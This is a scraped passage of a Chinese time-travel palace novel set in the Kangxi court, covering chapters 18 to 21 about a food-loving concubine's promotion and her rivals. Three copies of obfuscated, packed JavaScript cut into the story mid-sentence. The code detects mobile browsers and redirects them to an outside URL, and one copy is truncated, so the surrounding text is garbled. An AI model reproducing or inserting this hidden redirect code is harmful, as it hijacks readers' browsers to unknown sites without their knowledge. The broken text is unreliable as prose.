“你命好,咱们万岁爷尝了樱桃罐头觉得不错,给你赏赐了。”戴嬷嬷难得露出笑容,“万岁爷本想赐你黄金百两、锦缎三匹,公主却觉得这些太寻常,便劝万岁爷封你做庶福晋,此事已由过宗人府登记入册!如今你可是咱们院里唯一的庶福晋了,欢喜吧。” 站着说话不腰疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226105|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊……刘菽圆石化了。 她很缺钱的! 还有……她看起来很想当庶福晋吗?不要随便替人做决定啊。 “你不高兴?”戴嬷嬷瞧她脸上看不出表情,语气一沉,“要知道能得万岁爷青睐,那可是几辈子修来的福分,在这深宫之中,多少人到死都没能见到皇上一面,如今你能得一句夸奖,已是天大的福气,以前凭你的家世,这辈子做到头也就是个庶福晋,可如今却不同了。” “哪里不同了?”刘菽圆不懂,她没亲眼见到康熙,也没亲耳听到夸奖,也没感觉什么不一样啊。 戴嬷嬷被她的木讷惊了惊,无奈叹了口气:“皇上亲口夸你懂事,你知道这意味着什么吗?” 意味着……她现在是庶福晋了? “宫里阿哥多,咱们五阿哥有太后庇佑,才与众不同些,你虽是个庶福晋,却是万岁爷亲口赐下的名分,纵然身份低了点,可这宫里谁敢轻视了你去。” 其实戴嬷嬷还有句私话没有告诉她,五爷本是打算请万岁爷直接晋升她为侧福晋,却被拦了下来,不过瞧着主子们对刘菽圆的态度,再看她平日里的品性,若是来日能为五爷诞下皇子,也算是不辜负太后的嘱托了。 相处这么久了,刘菽圆有此造化她自是欢喜。 五爷是太后娘娘最疼爱的孙子,他的福晋必须是出身显赫的旗人女子,有了福晋母家的助力才能在诸位阿哥里站稳脚跟,至于侧福晋……刘氏还年轻,资历不足,家世也不够,是有些急了。 这还是刘菽圆认识戴嬷嬷以来,听她说过最多话的一次。 但她觉得奇怪的是,既然都亲口恩赐了,为啥不直接赐她个福晋当当,小气巴巴的,只升一级?某些无脑宫斗剧她都能直接被封为公主了好吧。 “高兴。”刘菽圆由衷地笑出声,升职加薪能不高兴吗? 不过刘菽圆可不想引人注意,她恨不得自己能一直在后宫摸鱼,康师傅亲封他,那岂不是成了众矢之的,活靶子了吗? 她得想点法子,继续当她的小透明。 想清楚这一点,刘菽圆便心安理得地掀开衣摆跪下:“多谢皇上赏赐。” 既然成了庶福晋,发型、衣饰都换了一个档次,院子自然也要换个更大的,但刘菽圆在这儿住惯了,想着庶福晋和格格也只差一级,便懒得搬了。 只是院里光秃秃的,缺了点绿色,显着空荡,她便想在院里种棵树。 “枣树吧,早生贵子,主子现在已经是庶福晋,就等生个小阿哥了。”小全子笑得嘴角都快咧到耳朵根了,一想到自己跟对了主子,青云直上,飞黄腾达的日子还远吗? 佩兰摇了摇头:“奴婢觉得桂花树、梨树、石榴树不错。” “这个还行。”刘菽圆微微点头,“有什么说道吗?” 佩兰认真地说:“桂花可以做桂花蜜桂花糖桂花糕、梨树可以吃梨、石榴树可以吃石榴,而且这三种花又漂亮又好闻。” 刘菽圆佩服地五体投地,忍不住伸出大拇指:“比我还专业,厉害。” 不过这些都差了点意思…… 他们提的意见都挺好,枣树、桂花树、梨树、石榴树也都是宫里常种的,不过刘菽圆却有自己的考虑。 “还是种海棠吧。” 三人疑惑:“为什么?” 刘菽圆瞅了眼她们的腰间,又捏了把自己的脸,挑了挑眉。 “因为……‘知否,知否,应是你肥我瘦。’” 19. 第 19 章 第十九章 马佳芸珞一连侍寝了五日。 院里往日看不起她的宫人,如今个个忐忑不安,他们大多都是宫里的老人儿,阿哥的侍妾被禁足是常有的事,可谁也没想到马佳氏解禁后竟还能受宠,风头眼看要盖过隔壁青芜院了。 马格格为人和善,出手也大方,她刚禁足时不少宫人还觉得肯定是被陷害了,可日头长了,瞧着青芜院那边风生水起,便像墙头草一般上赶着巴结。 一个是康熙亲口晋封,一个是阿哥宠妾,明眼人都懂这其中的利害,毕竟是在五阿哥院里当差,都不是傻子能分清时局,不过刘菽圆凭着厨艺晋位,下人们在背后笑话、说三道四、小瞧她的也是有的。 万岁爷御口一开,只封她做了庶福晋,说句不好听的,这不是明着给她难堪吗? 虽说宫中贵人们晋升也是一级一级,但刘菽圆一个小小的侍妾讨得皇上、公主的欢心,众人还以为刘菽圆能一举晋为侧福晋,她性子慢,又不争不抢,青芜院的差事轻松又有油水,谁不想去? 可圣旨一下,这些人便见风使舵,又将目光转向了马佳芸珞,照这势头,怕是五阿哥院里头一个孩子该出自绛水院了,青芜院不免就冷清下来。 此时,冷清的青芜院。 膳房早膳送了冰镇甜藕、虾须面、三鲜酿豆腐、韭黄炒香干还有一小碟酱菜,刘菽圆挑了些面条吃了,又喝了两大杯酸梅汤,便到院子里遛弯。 营造司速度很快,李德禄将青芜院种海棠的事情上报给了内务府,营造司依制选种,花匠在李德禄的监督下,一个时辰便栽种好了,等过一阵子有绿叶抽出,便是活了。 营造司选的是宫中常见的西府海棠,树形优美、花朵娇艳,种在东侧角落,刘菽圆在屋里也能透过窗子瞧见,宫中以偶数为吉,寓意成双成对,刘菽圆便在回廊处也种了一株垂丝海棠。 远远看着,倒真有几分之前家里的模样。 照看海棠的事也交给了佩兰,让她定期施肥,浇水、修剪枝叶,这活儿她之前也做过,手熟得很,如今已入夏季,早不是海棠盛开的季节,春芽有点搞不懂刘菽圆执意栽海棠的原因,不过她一直天马行空,想法特别多,便也没多问。 刘菽圆在院里走了半刻钟,又在秋千上眯了一阵子,醒来后又觉着嘴干:“春芽。” 听到声音的春芽猛地睁开眼,方才吹着微风,主仆俩躲在绿荫下,她手里扇着风,竟不知不觉睡着了,春芽心里一惊,暗暗后悔,赶忙上前问道:“主子,我在呢。” “有点饿了,叫膳房做几张凉皮吧。” 凉皮是民间吃食,以大米为原料,质地松软,最适合夏天了,但宫里的人嘴刁,看不上这百姓的食物,所以很少在宫里见,但刘菽圆不挑,管他宫里宫外,好吃就行了。 “知道了。”春芽屈膝行礼,正欲转身离开,胳膊忽地被人拉住。 “记得叫他不要切!一张凉皮上先放黄瓜丝、面筋块、花生碎,再搁上酱料、红油辣椒,油油润润地把所有食材裹在一起,和卷饼一个样。” “不切?直接吃?” 膳房里,周福海拿着炒菜用的大勺,听完刘菽圆这话,暗暗评价道:“这吃法也太不雅了。” 他一边蒸米皮,一边悄悄记下法子,然后擦了擦手,丢给小全子一块碎银子:“赏你的,主子们爱喝冰粉,算你运气好。” 小全子偷偷掂了下份量,露出一丝难以察觉的嫌弃:“爷爷事事想着小全子,也就爷爷心善,知道心疼我,小全子感恩戴德,” “你用心做事,我自然不会亏待了你。”周福海皮笑肉不笑地说。 放好食材、酱料的凉皮卷起来也是有点难度的,周福海将两边向中间折叠,整个盖住所有食材,从下往上卷起来,卷的时候注意分寸,不能太紧不能太松,米皮虽然有韧劲,但一用力也就破了,他卷了五条,往食盒里放了三条,又让小全子捎带回去一碟水晶糕,上面点缀少许干桂花,香气十足。 “刚四阿哥院里点的,还剩了些,给刘庶福晋吧,这东西清清凉凉的,解暑。” 小全子一下猜到周福海这举动的意思,忍不住心里冷哼了一声:这点子小恩小惠就想拉拢她主子?周福海是在膳房做饭做得太久,把人都当傻子吗? 话虽如此,这面子上的功夫还得做足,全子脸上堆着笑,客气地应着:“多谢周爷爷赏!我们主子自会记得您的好,主子还等着我回去,小全子先退下了,爷爷您辛苦。” * 周福海不愧是给皇家做饭的,刘菽圆咬着卷凉皮,再一次发自肺腑的赞叹,这手艺要是摆摊,用不了几个月直接买房。 绝了。 米皮爽滑软糯,轻轻一咬就断,还能闻到淡淡的米香,黄瓜丝、豆芽则一咬爆汁,夏天吃些凉爽的素菜,冰冰凉十分解腻,辣椒油不断刺激味蕾,这么热的天来一条身上都凉快了。 一口气吃完整条卷凉皮,刘菽圆心满意足地擦了擦嘴,可嘴巴刚吃了咸的,现下又想来点甜的中和一下,她的视线便被一旁的白瓷碟子吸引了注意, “这个是什么?”刘菽圆夹了块四四方方的糕点,咬一口软软的,有点像年糕,但更有嚼劲,舌尖一抿便化了,桂花香气倒是很浓,里面还能咬到香甜的红豆,“还挺好吃。” 春芽笑眯眯地回答:“是水晶糕,解暑的糕点。” 春芽瞧那水晶糕上面点缀的干桂花,又听小全子说是四阿哥院里点的,立刻清楚了:“定是四爷的侍妾李氏。” 李氏? 刘菽圆一愣,她看过剧,知道胤禛的后院里有未来的皇后、继皇后,还有年羹尧的妹妹敦肃皇贵妃、未来生育乾隆的钮祜禄氏,还有齐妃…… 等会儿,齐妃的原型好像就姓李。 “妈呀。”刘菽圆轻叹一声,赶忙询问春芽,“这位李格格是什么个情况?” 春芽不懂刘菽圆怎么突然对四爷院里的人感兴趣,却还是乖乖回答:“四爷院里的事情,奴婢不太了解,只听说李格格之前也颇为中意辣食,如今却爱上了甜味糕点,许是怀孕的女子变了口味?” 也有可能和她一样,咸的吃多了想来口甜的解腻。 “她怀孕了?”刘菽圆再次感叹,难道是大清巨人要来了?“几个月了?” “已经七个多月了,估摸着再有两个月就该生了,到时候四爷院里多个小阿哥或是小格格,多热闹啊,主子您也不抓点紧,如今太子爷、大阿哥、四阿哥都有了孩子,几位同龄的阿哥里,就咱们五爷院里还冷冷清清的了。” 刘菽圆装傻:“这不还有三阿哥吗?” 春芽谨慎地说:“那是因为三爷不允许府里先有庶子女,侍妾们伺候后都会赐避子汤,就等三福晋生出三爷的嫡长子,在这之前绝不会有生养。” 还有这说道? 刘菽圆撇了撇嘴,也能理解,清朝么,家里有皇位要继承的。 她看着食盒里还有两条卷凉皮,忽然心血来潮,是不是只要五爷院里有人生养,她就不用被人催生了? 反正都是五爷的孩子,谁生的都差不多吧? “春芽,把这卷凉皮给绛水院送一条,今儿天热,马格格怕是也畏暑了。”刘菽圆眼前一亮,正好胤祺最近爱去绛水院,马佳芸珞可得抓紧机会。 春芽不知道刘菽圆的小心思,只当她和院里其他人一样,觉得五爷更宠爱马格格,意欲和她搞好关系,于是面色不悦:“您想着她,人家未必领这份情呢。” 果然,收到卷凉皮的马佳芸珞脸上露出勉强的笑容,她早知道刘菽圆不忌口,这些民间的脏东西也能下肚,真是烂泥扶不上墙。 这边让玳瑁赶紧收下,让春芽传达她的感谢,春芽一走立马变了一副嘴脸:“玳瑁,去,扔远一点,别让人瞧见。” 玳瑁应了一声,正要提着食盒离开,一袭石青色的衣摆掠过眼前,熟悉的声音出现在身后。 “这是什么?”胤祺颇有兴致地看向桌上的食盒。 玳瑁支支吾吾,马佳芸珞立即上前用身子挡住:“奴婢的一些吃食,不太入流,您若是饿了,有有膳房新做的核桃糕。” “打开爷瞧瞧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233881|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 收到话的李德禄不顾两人劝阻,将里面的卷凉皮送至胤祺面前,马佳芸珞只好硬着头皮介绍:“回五爷,这叫做卷凉皮……是陕西的一种小吃,百姓们酷暑时常吃这个……” 马佳芸珞只听过一点,玳瑁也不是当地人,对这种食物不甚了解,她知道这叫凉皮,可为何不是寻常可见的条状,她也想不出个由头。 好在胤祺没有问,两人便不主动提。见胤祺吃得津津有味,主仆俩对视一眼,默契地谁也没提刘菽圆的名字。 “五爷,奴婢已经备好了洗澡水,您今夜是用玫瑰露,还是芙蓉露……奴婢好侍奉。” 马佳芸珞眉眼含笑,手轻轻抚向胤祺的胸前,胤祺轻咳了一声,暗暗侧过身子,语气平淡:“今儿师傅布置了不少课业,爷今晚在书房睡,时辰不早了,你自己安置吧。” 说罢胤祺便放下碗筷,抿了口茶起身准备回书房,马佳芸珞瞬时变了脸色,若非玳瑁及时上前接住,整个人就倒了下来。 “你去,悄悄跟上,看五爷是不是回了书房?” 胤祺满心想着明日的课业考试,可刚过门廊,脚步竟不听使唤一样,鬼使神差地拐向另一条廊道,李德禄看在眼里,只当没瞧见,低眉顺眼地跟在后边。 方才吃那卷凉皮,总让胤祺想到那个贪吃的小丫头。 这刘氏天天就知道吃,琢磨新花样满足自己的口腹之欲,也不晓得多关心关心他,前几日临散学时下了一阵小雨,四哥他们的福晋都派人送了东西,他在座位眼巴巴等了小半个时辰,这刘氏连个影子都没有! 等他一会儿见到,必得好好出口气! 一踏入青芜院,胤祺却愣了愣,院里一片漆黑,安静得没有一点声音。 奇怪……虽说夜已经深了,刘氏素来睡得迟,这么早就寝吗? 他让李德禄进门瞧瞧,自己则在秋千上坐着歇了一会儿。 白日里日头毒,晒得人喘不上气,到了晚上却十分凉爽,海棠叶层层叠叠遮着视线,月光从缝隙中落下,在一旁的竹桌上留下斑驳的影子。 胤祺捏了捏眉心,他近日也不知怎么了,总觉得心烦,只有闻着马佳氏制的梅花香才能稍缓一二。 可闻的多了,这头就难受,总是胡思乱想的。 李德禄提着灯笼过来回话,借着烛光偷偷打量五爷的脸色:“五爷,奴才问了,这刘格格晚膳用了两碗饭,还吃了不少奶酪核桃,困得眼皮都睁不开就歇息了,您看是叫她起来伺候,还是?” “不用,既然睡了就不必打扰了。” 胤祺没有半分生气,只是好奇地问,“你说她睡前吃那么多,不怕积食吗?” 除了晋升后过来谢了一次恩,这都几日了,连个面都不露!现在居然把自个儿吃晕了? 胤祺无奈地摇了摇头,临走时无意瞥到桌上摊着张纸,纸角被风吹得有些卷边,依稀见几处墨色。 他冷哼了一声,这小丫头居然还有兴致作画? * 书房里,镂空缠枝莲纹银香炉飘出缕缕轻烟,梅香裹着清透的沉香,在案头盘旋,久久不散。 紫檀书桌上摆着半尺高的经史子集,胤祺举着笔怔怔坐着,滴下的墨汁片刻便染满了整张宣纸,他蹙了蹙眉,索性放下笔,靠在太师椅上闭目养神起来。 茶水早已晾凉,他又控制不住想起刘菽圆,她每日缩在屋里,不是琢磨吃食,就是作画和宫女说笑玩闹,自娱自乐,还挺高兴。 过几日太子大婚,她整天待在院里,便带出来透口气吧。 想到这里,胤祺忽然想到方才青芜院里的那张画,那画他只粗粗扫了一眼,像是什么动物似的。 “李德禄。”胤祺招手唤他过来,“去把那香灭了,还是换成我平时的那种。” 李德禄哎了一声,刚吩咐小太监去办,身后就传来胤祺的声音。 “她那画上画的是什么啊?” 李德禄意识到胤祺话里的她是刘菽圆,犹豫半晌,捧着刚沏好的普洱小心翼翼地说。 “回五爷,是……是一条咸鱼。” 20. 第 20 章 第二十章 康熙三十四年五月初八。 皇太子胤礽与瓜尔佳氏大婚礼成,毓庆宫内张灯结彩,一片喜气。 因着前些日子出了名,刘菽圆也得了机会去凑个热闹,她穿来十七年,还是头一回见到这么壮观的皇室婚礼,果然比那些大制作的清宫剧还盛大。 只是以她的身份,没资格和福晋、侧福晋们一同入席,她便与其他阿哥的侍妾坐在一桌。 也是托这场婚礼的福,刘菽圆总算有机会亲眼见到康熙的几位阿哥,果然是人中龙凤,气宇不凡,各有各的风采。 太子胤礽穿着一身红色的大婚吉服,身形俊朗,眉宇间透着一股浑然天成的贵气,哪怕只是同太监说话,也颇有储君的威仪;大阿哥胤褆宽肩阔背,一看就是常年习武的模样,是个典型的满族巴图鲁,言谈间豪气大方,酒杯根本不离手;三阿哥胤祉文雅中带点傲气,说话时带着笑意,看着挺好相处,七阿哥胤佑规规矩矩坐在席间,老八胤禩正陪他聊天,老九老十不知道溜到哪儿去了,十一阿哥生病没来,其他几个小的三三两两混在一起正偷着喝酒呢。 咦?四阿哥呢?怎么没见到大名鼎鼎的雍正皇帝(年轻版)? 刘菽圆来回探头,四处寻找,好不容易出趟门,若没亲眼见见未登基时候的胤禛,岂不是亏了? “五爷在那儿呢。” 身边杏仁圆脸的小姑娘笑眯眯地指了指宫内的屏风处,“刚才和四爷一起给太子殿下挡酒,在那儿坐着缓缓,不然一会儿走路都打晃,怕是要摔下台阶了。”说罢,抓起手绢小声地笑了出来。 谁找他呀…… 刘菽圆心里腹诽,却很感谢小姑娘的回答,她看起来和自己差不多年纪,脸颊肉嘟嘟的,说话时眼睛像会说话一样,让人一看就觉着欢喜。 “你是五爷的庶福晋刘氏吧。”小姑娘眉眼带笑,“早就听说你了,终于有机会能和你说说话了。” 刘菽圆一僵,她整天封闭在阿哥所,除了五爷院里的几个人,其他阿哥她一个都没见过,更别提每个人那一大家子妻妾了。 “你怎么知道是我?” 小姑娘挑了挑眉,嘴角一勾,露出一口整齐的银牙,随即眼神往下一撇:“很明显啊。” 只见桌上摆着许多糕点瓜果,有萨其马、椰汁红豆糕、龙凤喜饼,还有红枣、桂圆等干果。 一桌子女眷,只有她们俩面前堆着满满的干果皮。 两人看了看桌面,又相互对看了一眼,不约而同地笑了出来。 “我是四阿哥院里的,叫李萱,你的寿司我尝了,味道极好,手艺真是不错。” 四阿哥院里、姓李…… 刘菽圆这才注意到她的肚子圆滚滚的,有八九个月大。 果真是她! “哇哇哇……久仰久仰。”刘菽圆激动得话都说不利索,原来这就是未来的齐妃娘娘,这么年轻?“这都快生了,要好好养胎啊。” 她受宫斗剧荼毒颇深,总觉得后宫里那些娘娘一听到宫里有人怀孕,阴谋诡计全都使出来了,阿哥院里就是个小后宫,如今四爷府里只有一女,她现在看见李萱的肚子比她本人还紧张。 “四爷也叫我在府里歇息,可每日待在院里,着实无趣,想来都这么大了,也无大碍。”李萱微笑着抚摸小腹,整个人透出一种母性的光辉。 刘菽圆见了她,心里莫名觉得亲近,便往她旁边挪了挪,还没坐稳立刻吃货上身:“太子殿下的婚宴就是不同,这红豆糕好吃多了。”里面除了能吃到颗粒的红豆,还掺了椰蓉,又绵又香,口感一下丰富多了,比她自己琢磨出的还好。 她顺便给李萱也夹了一块,李萱也不忸怩,谢过便直接咬了一口:“好吃,除了红豆,还有一种好特别的奶香,里面不知道放了什么艮啾啾的。” 刘菽圆听小全子提过,几年前海南进贡了几颗棕色硬壳的异果,康熙品尝后赞不绝口,之后每年都让海南送这种水果入京,现在正是椰子成熟的季节,康熙这么疼爱胤礽,自是什么好东西都给他,几颗椰子算什么。 “椰汁,还有椰蓉。”刘菽圆细细品,“放得不多,味儿却很正,李姐姐舌头好灵啊。” 李萱不好意思地笑了笑:“哪有……就是嘴馋,吃多了也就品出来了。” “李姐姐身怀有孕,这东西虽好,还是少用些为妙。”见她又拿了好几块,刘菽圆提醒道。 李萱听了冲她露出一个无奈的笑容:“如今入了夏,本就没有胃口,肚里这个小祖宗也开始挑食,说来也怪,我未嫁时在家里见过孕妇,都是前几个月害喜,可我这都快生了,反而口味大变,不瞒你说我呀已经连续吃了五天的桂花了,什么藕粉桂花糖糕、桂花糯米粥、桂花酥饼,我都感觉自己都快变成桂花了,现在还不是桂花的时节,膳房做菜只能用桂花蜜,吃完这些,我的身子都沉了不少。” 刘菽圆想到昨日膳房送来的水晶糕,不由低眉偷笑。 “好不容易不吃桂花了,怎么我吃着别的东西也这么香?”李萱最后咬了一小口,赶忙用帕子擦了嘴,“不吃了不吃了,再吃又撑着了,到时候都没地方后悔去。” 刘菽圆轻声笑着,余光瞥见桌边多了个人。那女子生得十分清瘦,尽管涂了薄薄的粉,却遮不住蜡黄的脸色,她静静挨着李萱坐下,像是很累的样子,一直用帕子擦着汗。 “这是三阿哥的庶福晋段氏。”春芽在刘菽圆耳边小声说。 三福晋脾气不好,炮仗似的一点就着,御下极严,在阿哥所里是出了名的,这段氏好歹也是个庶福晋,脸色也太差了。 三人相互见了礼,段氏卯时便起床,伺候三福晋穿衣、洗漱、用饭,现下刚有了空子,实在饿急了,趁着福晋更衣的功夫过来吃点东西垫吧垫吧,谁料刚夹了块萨其马,三福晋的宫女就派人来请。 “段庶福晋,你怎么在这儿啊,福晋正找你呢。”宫女十分傲慢无礼,颐指气使地说这话,连刘菽圆与李萱也不放在眼里,“还不过去?” 段氏小心翼翼地起身行礼:“妾身这就去。” 瞧着宫女走远了,李萱眼疾手快地往段氏手里塞了几个红枣,段氏紧紧握着,悄悄转身点了点头。 刘菽圆将这一切尽收眼底,对段氏经历的同情之外,也对李萱有了几分意外。 “三福晋董鄂氏,她的阿玛朋春在雅克萨之战中跟着康熙爷立了不少军功,又是家中独女,性子刁蛮,偏偏三爷喜欢。嫁给三爷之前有言在先,府里绝对不能有庶子庶女降生,那时候段氏已经身怀六甲,三福晋直接给处置了,听说是个成型的男胎,荣妃本就不喜这个儿媳,得知这事儿直接把三爷叫回钟粹宫说教了许久。”李萱叹了口气,“好端端的女子硬生生磋磨得不成样子。” “我反正早就想清楚了,若这孩子真保不住,我自是要舍子的,孩子没了可以再生,命没了可就真没了。” 李萱这想法倒是超前,一点也不像清朝的女子,倒有种当代女性的作派。 “你是不是也觉得我奇怪?”李萱见她愣神,脸上泛起几分不好意思的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236664|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,“四爷后院人少,福晋好清静,一天都未必能说上十句话,待我们这些人却很和善,也挺好相处。” 李萱一边说话,手又不自觉地夹了块龙凤喜饼,刘菽圆低头沉思,寻常孕妇都得忌口,照李萱这吃法,这胎儿得多大啊。 “姐姐现在身子重了,可不能由着自己。”有了刚才发生的小插曲,刘菽圆也直接开门见山说了,“得细细打算才行。” 李萱来了兴趣:“这话怎么说?” “俗话说,女人生孩子就像半只脚踏进了鬼门关。”刘菽圆真心觉得与她一见如故,便多叮嘱了几句,“糕点虽然好吃,肚子里的孩子越变越大,来日足月生产,娘亲可要遭罪的。” 她俯下身悄声道:“若真到了那一步,姐姐想主子们会做何选择?所以,姐姐既然成了这孩子的娘,便要对他负责,平安生下才是保全母子双方的万全之策。” “好妹妹,这些话从来没人和我说过。”李萱反应过来,直接上前握住了刘菽圆的手,“我还当这孩子乖巧,也不闹我,原来还有孩子太大生不下来的可能?” 都快生了,没人提醒她的吗? 刘菽圆浑身一僵,她这么大月份也不见身边跟个嬷嬷,这事儿怕另有原因,但话都说了,后悔也来不及了:“到了这个时候,饮食更要清淡,每日用些肉蛋奶,多吃蔬菜,常走动,那些个糕点就别吃了,酱菜也别用,清清淡淡的就行。” “我知道了。”李萱感激地望着她,“多谢妹妹指教。” * 太子婚礼的其他热闹,刘菽圆是凑不上了,她与李萱喝了些茶水,两人边聊天边回了各自的院子。 临走时,李萱依依不舍地拉着她的手,这宫里假人假面,戴着面具说一套做一套的人不少,理智告诉她要谨慎对待身边每一个人,可她第一眼看到刘菽圆,便知她绝不是坏人。 那样清澈的一双眼,没有半分算计与谄媚,是这宫里绝对不会有的! 更别提,能做出寿司那么好吃的东西,怎么可能是坏人呢? “姐姐若想吃,就去膳房找周公公,寿司的各种口味他都会。”刘菽圆送她到分叉口,“但有一点别忘了……” “忌口!” 两人异口同声地说,大笑起来。 “知道就好。”可是吃不到美食,人难免变得落寞,刘菽圆便安慰道,“左不过也就两个月,我答应你,等你出了月子,我每日变得法儿给你送好吃的,可好?” 李萱一下睁大双眼:“当真?” “自然。” “那就说定了。”李萱伸出小手指,“拉钩。” 她都当娘的人还这么孩子气,刘菽圆无奈地笑笑,配合地拉了钩,“这下放心了吧。” 胤祺在毓庆宫陪着太子应酬宾客,还未回来,刘菽圆今儿临走前给膳房递了信儿,要做烧仙草奶茶喝。 今日太子成亲,膳食席面都是光禄寺负责筹办,御膳房也借调了不少人手,好在周福海还在,算算时辰,烧仙草也做得差不多了。 刘菽圆忙着准备烧仙草的配料,刚用木薯粉搓了芋圆和珍珠,就等烧仙草结冻后切开,她擦了把额上的汗,美滋滋回了屋刚喝了杯凉奶茶,而春芽呆立在旁,不知道在想什么,瞧着像是有话要说。 “怎么了?”刘菽圆舒了口气,这放凉的奶茶就是解渴,她倒了一杯给春芽,“一起喝。” 望着关心自己的刘菽圆,春芽忍不住替她不值。 “主子,方才绛水院请了太医……马格格有孕了。” 21. 第 21 章 第二十一章 马佳氏有孕,绛水院上下都十分高兴。 一来这是五阿哥胤祺的头一个孩子,他们得了不少赏钱。 二来自家主子争气,他们这些做奴婢的也跟着沾光,纷纷觉得自己选对了主子,之前那一个月禁足不过是小小挫折罢了,根本不值一提。虽说胤祺当众说无论男女他都喜欢,可他们内心都希望马格格能一举生下五爷的长子,到时候看谁还敢给他们脸色瞧。 太后、宜妃都格外看重这一胎,每日补品赏赐流水般的送来,绛水院这次可是狠狠出了一次风头。宜妃自不必说,燕窝、人参……恨不能把翊坤宫的好东西都搬给马佳氏。 马佳氏自己更是重视,这个孩子是她日后晋升侧福晋最大的底气,前阵子刘菽圆在荣宪公主面前露了脸,很得五爷欢心,幸好刘氏家世不够,不然侧福晋之位哪里还轮得上自己? 仗着有孕,马佳氏便故意在胤祺面前提要求:“奴婢初次有孕,心里总觉得慌张,不知如何看顾孩儿,这些日子,奴婢日日求神拜佛,就盼着佛祖能保佑奴婢,顺利为五爷诞下位小阿哥……”她说话时,手轻放在小腹,眼神时不时望向胤祺,语气中还带着几分娇羞。 胤祺瞧出她有话要说,便耐着性子继续听,马格格见他并未搭话,抿了抿唇:“只是不知是哪位太医照料奴婢的胎呢?” 按宫里的规矩,格格有孕,太医院会专门指派一位太医定期诊脉,但马佳氏只是个格格,身份摆在那儿,太医院的御医得先紧着康熙、太后,以及后宫有孕的妃嫔,这般排下来,最终派到绛水院的是刚刚升为八品御医的孙太医,他出自医学世家,虽品级不高,但颇有经验,之前四阿哥的李格格便是他负责的。 “太医院的太医个个医术高明,只是奴婢自幼体质弱,突然换了太医,心里总不安稳。”马格格垂下眼眸,面露难色,“奴婢知道自己身份低微不应开口,但这是奴婢和五爷第一个孩子,奴婢总是想尽可能的准备周全。”说话时,马佳氏的手轻抚小腹,十分温柔,胤祺也动容了几分。 虽然与马佳氏相处总让他感觉有些拘谨,不像在青芜院那样舒坦,但马佳氏是他的女人,多加照拂是应该的,何况为了孩子,他能理解。 “那依你之言,有何解决之法?”胤祺温声开口。 “奴婢觉得,太医院的徐太医医术不错,先前奴婢抱恙,他照料了奴婢月余,对奴婢的体质了如指掌,若能让徐太医继续照料,奴婢心里也踏实,也省得其他太医重写医案了。” 马佳氏自顾自地说着,全然没注意到胤祺脸上的温和逐渐消失,如果说方才胤祺对马佳氏还有几分怜惜,现在一丝也没了。 徐太医,那可是负责他十一弟的太医,额娘对十一弟一向上心,连换个药方都要细细问询,马佳氏竟当着他的面说这种话,她果然是额娘的人。 “那就依你吧。”胤祺沉默片刻,终是开口,他起身整理了下衣摆,一副要走的架势,马佳氏愣了愣神,赶忙出言挽留:“五爷,您不留下吗?” 她刚查出有孕,身为夫君的胤祺难道不应该留在绛水院陪伴她吗? “孕妇睡觉浅,我早上起得早就不耽误你了。”胤祺淡淡道。 望着胤祺的背影,马佳氏忍不住往前了两步:“爷可是要去青芜院?” 胤祺没有回她,独留屋里空荡的烛光围绕。 “马格格有孕,她的膳食要格外上心,叫戴嬷嬷替爷照看着,安胎药也要每日饮用,确保她十月后安稳生产。”路上,胤祺不断嘱咐李德禄,他虽没那么喜欢马佳氏,但难免沉浸在初为人父的喜悦中。 李德禄却惦记着另外一件事。 “五爷,宜妃娘娘那边格外重视,您看是否要叫内务府多安排几个人侍奉马格格?” “不必了。”胤祺捏了捏眉心,他虽高兴,却始终忘不了这是他生母宜妃的人,“总归只是个格格,不宜太过张扬……” 胤祺停了半晌,叹了口气,“吩咐徐太医精心照料便是了。” 说了绛水院的事,该提一提青芜院了。 “你可问她了?那画究竟是什么意思?” 自从那天看到刘菽圆画的咸鱼,胤祺百思不得其解,她一向爱吃鲜香麻辣的菜,比如水煮鱼、麻辣鱼,可那咸鱼却是南方人所钟爱。 难不成是她近来换了口味? 反正自那之后,胤祺便嘱咐膳房给刘菽圆送膳,什么咸鱼茄子煲、肉片咸鱼粥、香煎咸鱼、咸鱼炒饭,每顿都变着花样做,吃得刘菽圆完全没有招架之力,连忙叫停。 可如果不是想吃咸鱼,那是什么意思? 想养猫?还是想钓鱼? 李德禄想到刘菽圆的回复,叹息一声,还是别说出口叫五爷细想了,这黑眼圈都熬出来了。 “她……有没有问起我?” 胤祺到底没去青芜院,坐在紫檀书桌前,手指紧紧攥着紫毫笔,心乱的像团丝线。 他好歹也是个阿哥,应是侍妾格格巴巴得往上凑才对,各位皇兄后院的侍妾都是如此,怎么偏生到了他这儿,竟出了个对自家爷不上心的? 